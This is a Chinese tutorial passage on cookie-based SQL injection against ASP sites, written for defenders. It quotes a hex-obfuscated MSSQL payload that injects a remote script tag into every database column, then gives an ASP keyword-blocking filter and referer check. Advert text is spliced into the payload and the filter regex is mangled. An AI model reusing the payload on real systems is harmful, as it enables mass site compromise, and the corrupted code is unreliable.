如果这个 id 恰巧是通过cookies来获取值的,那么想想,这是一件多么可怕的事啊!注入者可以轻松的伪造一个名为 id 的虚假 cookies ,因为这个 id 的cookies 是服务器分配给客户端的。这个cookies可以被伪造成类似下面这样的一段代码:
dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才网(http://it.ad0.cn) 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);--
看晕了吧。这是利用HEX的方式进行SQL注入,可以绕过一般的IDS验证,只要系统存在SQL注入,上面的代码将会被执行,通过游标遍历数据库中的所有表和列并在列中插入js代码。
飘易采取的解决办法:1 严格过滤 request.form 和 request.querystring 获取的内容,坚决不用 request("name") 这样的方式获取值,凡是采用 cookies 保存的内容,尽量不要用在sql语句里进行查询数据库操作;2 重要的用户资料尽量采用 session 验证,因为session是服务器端的,客户端无法伪造数据,除非他有你服务器的权限。
可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击:
<%
Response.Buffer = True '缓存页面
'防范get注入
If Request.QueryString <> "" Then StopInjection(Request.QueryString)
'防范post注入
If Request.Form <> "" Then StopInjection(Request.Form)
'防范cookies注入
If Request.Cookies <> "" Then StopInjection(Request.Cookies)
'正则子函数
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "'|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Cor%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)"
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write "<Script Language=javascript>alert('非法注入!你的行为已被记录!!');history.back(-1);</Script>"
Response.End
End If
Next
Set regEx = Nothing
End function
%>
把以上的代码另存为一个文件,如 antisql.asp ,然后在数据库连接文件开头包含这个文件 ,就可以实现全站的防范 sql 注入的攻击了。
第三,严格过滤外部提交数据。判断提交页面的来源,如果不是当前站点,则拒绝提交。可以参考以下的代码,虽然来源网址可以伪造,但有这样的判断,毕竟可以阻挡那些没有技术含量的恶意提交:
<%''判断来源,禁止外部提交
dim server_v1,server_v2
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if server_v1="" or instr(server_v1,"发表页面名")<=0 or mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<SCRIPT language=JavaScript>alert('来源非法,禁止外部提交!');"
response.write "this.location.href='vbscript:history.back()';</SCRIPT>"
response.end
end if%>
第四,做好服务器权限的分配。对于数据库的权限,尽量分配最小的权限给用户使用,如果把sa或管理员的权限分下来,一旦被攻击沦陷,这将是一个毁灭性的打击。mssql 的1433端口,飘易建议不用的时候,最好关闭。
总之,安全问题是一个综合的问题,一个小的细节,可能让你的几个月甚至几年的心血付之东流。我们不仅要从程序上着手每个细节,而且要仔细做好服务器的安全工作,对于虚拟主机的用户,还要防范服务器上的跨站攻击。细节决定成败。







